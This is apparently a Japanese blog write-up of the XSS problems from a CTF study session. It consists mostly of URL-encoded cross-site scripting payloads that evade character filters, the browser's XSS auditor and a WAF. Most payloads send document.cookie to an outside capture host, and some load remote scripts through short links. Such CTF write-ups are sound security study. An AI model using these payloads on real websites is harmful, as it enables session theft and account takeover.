0x90

一回休み

katagaitai CTF勉強会 #9 writeup(Webパート)

これの午後のパートに参加してきました。なぜ午後だけかって?起きられなかったからです(泣)

というのはまあ(半分)冗談で、今年になってからbugbounty.jpでちょこちょことバグハンターをやっているのですが、なんというか最近我流のXSSに限界を感じていてそれでまあいろんな人の解き方を見てみたいなあというのがあってXSSパートに参加させてもらいました。嬉しいことにまだ解けていない問題があるので、とても有意義な勉強会でした。@yagihashooさん始め運営の方には大感謝です。

CTFはもうここ1年以上やっていないけれど、超初心者というわけでもないのでちょっと空気読めてなかったかしらと心配しているのですが、とりあえず解けた部分のwriteupを書きたいと思います。残念ながら問題11以前はメモってないのでありませんが…。

追記: @no_______nononoさんが1-11のwriteupを書かれたようです。

12

scriptという文字列が消去されるので、これでauditor回避

q=<img%20src=x%20oscriptnerror=location.href="https://requestb.in/1k3apli1?"%2Bdocument.cookie;>

13*

JS途中に追加する

q=%27);location.href="https://requestb.in/1k3apli1?"%2Bdocument.cookie;//

14

外部スクリプト

q=<script%20src=http://bit.ly/2wJ52Ka></script>

15

jjencode

16

ドットが使えないです。JSのオブジェクトはdictでもあるので、[]を使ってプロパティにアクセスします。

q=%3Cscript%3Elocation[%22href%22]=%22https://requestb%22[%22concat%22](String[%22fromCharCode%22](46))[%22concat%22](%22in/1k3apli1?%22)[%22concat%22](document[%22cookie%22]);%3C/script%3E

requestb.inのドットはでもよかったですね。

文字列をcharcodeに分解する部分はPythonスクリプトを書きました。最近Rustしか書いていなかったのでPythonとかもはや1年ぶりくらいかもしれません。

github.com

17

。をドットの代わりにする

q=%3Cscript%20src=http://bit。ly/2wJ52Ka%3E%3C/script%3E

18, 19

scriptタグを無理やり閉じて外部スクリプト。これあんまやりすぎるとつまんなくなるので注意。

</script><script%20src=http://bit。ly/2wJ52Ka>

20

厳しくなった文字列チャレンジ。bit.lyだと間に合わないのでu.nuとか言うのを使ってみました。

q=<script%20src=//u.nu/2qm></script>

21

スペースなしでも/で区切れます。

q=<img/src="x"onerror="location.href=%27//requestb.in/1k3apli1?%27.concat(document.cookie);//

22, 23

fromCharCode。昔のburningCTFのsqliでも似たようなことをしたのをなんとなく思い出しました。

q=<img/onload=location.href=String.fromCharCode(47,47,114,101,113,117,101,115,116,98,46,105,110,47,49,107,51,97,112,108,105,49,63).concat(document.cookie);//

24-28

documentにアクセスしたいのですが、documentオブジェクト自体は隠されてしまっています。そこで、トップレベルオブジェクトであるwindowを使ってwindow.documentみたいにしていきます。windowにはtopとかなんか色々別名もあるのですが、どんどん使える名前が減っていきます。ココらへんもわかりやすいまとめがほしいですね(チラッ

最終的にはthisを使うことで終了。

q=location.href="https://requestb.in/1k3apli1?".concat(this.document.cookie);

29

本文の内容がほしいのですが、JSは使えそうになかった気がします。そこでイメタグを閉じないことでイメージとして読ませてしまいます。

q=%3Cimg%20src=%22https://requestb.in/1k3apli1?

30

クオートが使えなかったのかな?バッククオートを使ったテンプレートストリングで対処。

q=location[`href`]=`https://requestb。in/1k3apli1?`%2Bdocument[`cookie`]

31*

上の方で見た

q=%27);location.href=%27https://requestb.in/1k3apli1?%27%2Bdocument.cookie;//

32

注入箇所が二箇所以上あります。クオート系は使えないので、一箇所目でエスケープを放り込んで狂わせます。

q1=\&q2=,location.href=`https://requestb.in/1k3apli1?`%2Bdocument.cookie//

33

String.blinkとか言うメソッドがあるんですねえ…。マーキーとかもあるんでしょうか。

q="</blink><img%20src=x%20onerror=%27location.href=`https://requestb.in/1k3apli1?`%2Bdocument.cookie;%27>".blink()

34

そのままだとtype=hiddenのinputタグなのですが、途中に変なtypeを突っ込んで見えるようにします。あとは一桁台問でやったのとおなじ。

q="%20onfocus="location.href='https://requestb.in/1k3apli1?'%2Bdocument.cookie;"%20autofocus%20type=aaa

35-39

そのままだとワンラインコメントで隠れてしまうので、改行などでコメントを終わらせたいです。一問目は\u000aでいけますが、後半は\u2028\u2029を使う必要があります。ここを参照。

情弱なのでこれらの文字をURI encodeしたら%20%28とかになるかと思っていたのですが違うようです。最後の問題は%E2%80%A8が消されてしまうので%E2%80%E2%80%A8l%A8とかしてあげます。

q=%E2%80%E2%80%A8%A8location.href="https://requestb.in/1k3apli1?"%2Bdocument.cookie;

40

こちらを参考にしました。バッククオートを突っ込むとauditorが正しく動かなくなる?ことが多いんでしょうか。

q1=`</script><script>`&q2=`;location.href="https://requestb.in/1k3apli1?"%2Bdocument.cookie;</script>

41

コレalert(1)までは行けるのですが、なぜか他のURLにアクセスするようなコードを突っ込むとauditorが動き出します。そこでlocation.hash.substr(1)evalすることで解決。

q=%3Cscript%3Eeval(location.hash.substr(1));%3C/script#document.write("<img src='https://requestb.in/1k3apli1?"+document.cookie+"'>")

42

WAF問。ムリヤリ抜けます。

q=<input%20onfocus=%27location.href="https://requestb.in/1k3apli1?".concat(top[String.fromCharCode(100,%20111,%2099,%20117,%20109,%20101,%20110,%20116)][String.fromCharCode(99,%20111,%20111,%20107,%20105,%20101)]);%27 autofocus>

43

42がガバガバだったのでやぎはしゅさんが修正されたそうですw location.hashをevalできました。

q=%3Cinput%20onfocus=%22eval(location.hash.substring(1))%22%3E#location.href="https://requestb.in/1k3apli1?"+document.cookie;

44

解けて!ません!

以下追記: 解けました。情弱でした

45

妙に+とか-とか印象深いですがそれはもう使えなくなっているみたいです

46-49

やるだけ

50

こんなんわかるわけないw

51

想定解か自信ない

52

やるだけ